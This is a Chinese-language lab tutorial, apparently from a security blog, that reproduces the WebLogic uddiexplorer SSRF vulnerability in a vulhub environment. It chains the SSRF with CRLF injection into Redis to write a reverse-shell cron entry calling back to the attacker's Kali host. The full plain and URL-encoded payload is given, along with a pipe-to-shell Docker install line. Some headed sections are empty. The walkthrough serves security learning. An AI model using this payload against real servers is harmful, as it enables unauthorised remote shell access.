点击上方蓝字,关于我们
前面那个Weblogic 后台getshell的漏洞学会了吗,接下来我们一起来复现一下Weblogic SSRF漏洞。
01
什么是SSRF
服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
02
SSRF漏洞的危害
03
SSRF漏洞的验证方法
04
实验环境
漏洞影响版本:weblogic 10.0.2 -- 10.3.6 vulhub
kali:192.168.2.5
05
漏洞复现
0x01部署vulhub环境
1.安装docker
curl -s https://get.docker.com/ | sh 或者 sudo apt install docker.io
pip install docker-compose
git clone https://github.com/vulhub/vulhub.git
进入相应的漏洞下,然后使用命令启动
docker-compose build
docker-compose up -d//启动环境
docker-compose down //关闭容器
docker ps //查看正在运行的容器
1.访问环境 虚拟机地址为:192.168.2.7,访问http://192.168.2.7:7001/uddiexplorer/SearchPublicRegistries.jsp,即可查看uddiexplorer应用。
2.SSRF漏洞主要存在于http://192.168.2.7:7001/uddiexplorer/SearchPublicRegistries.jsp,提交参数值为IP:port,根据返回的错误不同,可以对内网进行探测,比如看端口开放的情况。随便输入一些内容,然后用burpsuite抓包,如下图所示:
3.接着我们在burpsuite下测试该漏洞,访问一个可以访问的IP:PORT,例如http://192.168.2.7:7001。可能访问的端口会得到错误,但一般是status code。
4.再接着访问一个不存在的端口,例如http://192.168.2.7:7002。返回:but could not connect over HTTP to server
通过上面的测试,可以发现目标存在ssrf漏洞。
Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。也就是我们可以通过SSRF攻击内网中的redis服务器。
1.首先需要SSRF探测内网中的redis服务器,因为这个漏洞是用docker环境搭建的,运行着redis服务,我们可以通过
docker inspect 容器ID
命令查看并确定redis服务的容器IP地址。如下图所示:,如下图所示:
容器信息如下:
2.发送三条redis命令,将反弹shell命令写入/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.2.5/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
命令分析:
命令 | 含义 |
---|---|
set 1 | 将bash shell设置为变量“1”的value值,执行一个反弹shell,192.168.2.5 为kali虚拟机地址 |
set dir /etc/ | 建立一个工作目录 |
config set dbfilename crontab | 创建一个RDB备份,文件名:crontab;所有的RDB文件都会储存在/etc/crontab下 |
3.对以上三条命令用url进行编码,如下:
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.5%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave
4.接着在kali虚拟机开启21端口监听。
5.接着将URL编码后的payload增加换行符,redis通过换行符来分隔每一条命令,换行符是“\r\n”,它的URL编码是“%0D%0A”,如下图:
6.成功反弹shell,到此漏洞成功复现。
06
SSRF漏洞的寻找
END